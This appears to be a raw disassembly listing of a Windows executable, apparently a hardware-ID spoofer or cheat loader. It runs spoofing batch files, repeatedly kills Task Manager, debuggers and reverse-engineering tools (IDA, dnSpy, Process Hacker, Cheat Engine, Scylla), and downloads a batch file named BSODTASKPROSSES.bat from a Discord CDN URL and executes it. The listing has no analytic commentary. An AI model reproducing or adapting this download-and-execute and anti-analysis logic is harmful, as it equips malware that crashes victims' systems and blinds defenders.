call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemchassisspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemcpuspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem_systemspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem_testing.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xc8f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xc8d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc8d0]
call fcn.14005d8d0
mov qword [rsp + 0x10c8], rax
lea rcx, [rsp + 0xc8f0]
call fcn.14005d8d0
mov qword [rsp + 0x10d0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x10c8]
mov rdx, qword [rsp + 0x10d0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xc8b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xc890]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc890]
call fcn.14005d8d0
mov qword [rsp + 0x10d8], rax
lea rcx, [rsp + 0xc8b0]
call fcn.14005d8d0
mov qword [rsp + 0x10e0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x10d8]
mov rdx, qword [rsp + 0x10e0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
